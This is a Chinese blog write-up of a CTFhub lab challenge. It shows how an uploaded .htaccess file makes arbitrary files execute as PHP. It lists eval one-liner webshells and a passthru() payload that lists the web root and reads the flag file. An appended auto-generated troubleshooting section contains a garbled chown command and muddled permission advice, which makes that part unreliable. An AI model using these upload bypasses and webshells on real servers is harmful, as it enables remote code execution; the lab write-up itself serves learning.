【CTF整理】CTFhub技能树-Web-文件上传-.htaccess

本文分享在CTFhub平台解决Web文件上传挑战的经验,详细解析使用.htaccess进行文件上传及利用PHP passthru()函数获取Flag的过程,强调动手实践的重要性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

【CTF整理】CTFhub技能树-Web-文件上传-.htaccess

CTFhub技能树里面的题最近做了一些,但是除了之前的SQL注入之外,其他的我实在没什么兴趣整理,毕竟网上的整理出来的博主很多,之所以专门整理这个文件上传.htaccess的题目,是因为我踩坑了,本以为一道简单的题目我就这么硬生生的踩进去了,还差点没出来,浪费了不少金币啊。看别的博主都是上传.htaccess文件,上传修改后缀的一句话木马,菜刀或是蚁剑一连就getshell了,简单的不能再简单,为毛我试了N次都是不行?试了各种形式的.htaccess文件,各种报错。网上如此轻易用蚁剑连上的博主,我是不知道怎么做到的(可能是我菜逼吧,不过网上好像就一两个版本,严重怀疑是最开始的那一篇带偏一堆人) 。吐槽结束,记坑。

1、常规思路

修改.htaccess文件,上传指定后缀名的一句话,菜刀连接getshell。------ 失败

基本上就这样
在这里插入图片描述

我试过的.htaccess内容:
版本1
<FilesMath  ".jpg">
SetHandler application/x-httpd-php
</FilesMatch>


版本2
AddType application/x-httpd-php .jpg


配合PHP各种一句话文件后缀.jpg,
<?php eval($_PTST['c']);?>
<?php eval($_GET['c']);?>
<?php @eval($_PTST['c']);?>
<?php @eval($_GET['c']);?>
<?php eval($_PTST["c"]);?>
<?php eval($_GET["c"]);?>
<?php @eval($_PTST["c"]);?>
<?php @eval($_GET["c"]);?>


亲测,菜刀蚁剑没有一个能正常连接,要么200ok啥都不显示或者显示一句话,连不上,要么直接404,还有500的。

这种思路就是网上最流行的思路,想看的小伙伴可以看这里
https://www.cnblogs.com/anweilx/p/12523582.html

2、PHP passthru()函数

这个方法不需要菜刀,蚁剑什么,弱爆了,直接浏览器访问就看到了flag好吗,给想出这个方法的大佬点赞。
PHP的passthru()这个函数可以直接执行外部命令,用法passthru" ls "),同样有此功能的函数还有
exec()、system()、 shell_exec()等。

解法
这里先写一个.htaccess文件上传

<FilesMatch "sj">  //sj随便写的,后面上传的文件没有后缀,就叫sj
 SetHandler application/x-httpd-php
</FilesMatch>

然后写sj文件内容如下:

<?php 
#passthru("ls /var/www/html/"); //第一次只写这一行,用来找flag文件在哪里
passthru("cat /var/www/html/flag_229326633.php");//第二次是找到了flag文件之后,直接读取内容
?>

上传sj文件,然后浏览器直接访问文件:
在这里插入图片描述这里啥都没有,需要查看源码。(小坑小坑)
在这里插入图片描述得到flag

总结:
有时候不要太依赖菜刀蚁剑之类的工具,不一定要一句话,我们还可以直接执行外部命令查看,PHP常见可以用来执行外部命令的函数有 passthru()、exec()、system()、 shell_exec()等。(不要太相信网上的解法,自己多动手尝试)

by 久违 2020.5.15 夜

### CTFHub平台上.htaccess文件上传导致500错误解决方案 当遇到CTFHub平台上的`.htaccess`文件上传引发的500内部服务器错误时,通常是因为Apache配置不当或存在语法错误所致[^1]。 #### Apache日志分析 为了诊断具体原因,应当查看Apache的日志文件。这些日志可以提供关于为何发生500错误的具体线索。一般情况下,在Linux系统上,默认路径位于 `/var/log/apache2/error.log` 或者 `/var/log/httpd/error_log` 中。通过检查最近条目中的警告和错误消息来定位问题所在[^2]。 #### 配置验证 确保本地测试环境下的Apache版本与目标服务器一致,并尝试加载相同的 `.htaccess` 文件以重现此问题。如果确实出现了同样的500错误,则可能是由于该文件内的指令不被当前使用的Apache模块支持所引起。此时应仔细核对每一条规则并查阅官方文档确认其兼容性和正确性[^3]。 #### 权限设置 另一个常见的原因是权限不足。即使语法完全无误,但如果Web服务器进程无法读取到这个隐藏文件的话也会报错。因此要保证 `.htaccess` 及其所在的目录具有适当的所有权以及755 (rwxr-xr-x) 的访问模式[^4]。 ```bash chmod 755 /path/to/directory/.htaccess chown www-R ``` 以上命令假设运行的是基于Debian系的操作系统;对于其他发行版可能需要调整用户组名称。 #### PHP解析器冲突 有时PHP脚本试图处理非预期类型的请求也可能触发此类异常情况。特别是当涉及到动态内容生成的时候更应该注意这一点。可以通过禁用不必要的处理器或将特定扩展名排除在外的方式来规避潜在的风险[^5]。 ```apacheconf <FilesMatch "\.(php|phtml)$"> SetHandler application/x-httpd-php </FilesMatch> ``` 上述代码片段展示了如何仅允许指定后缀名由PHP引擎解释执行的方法之一。
评论 11
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

久违 °

小菜鸟就要使劲飞

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值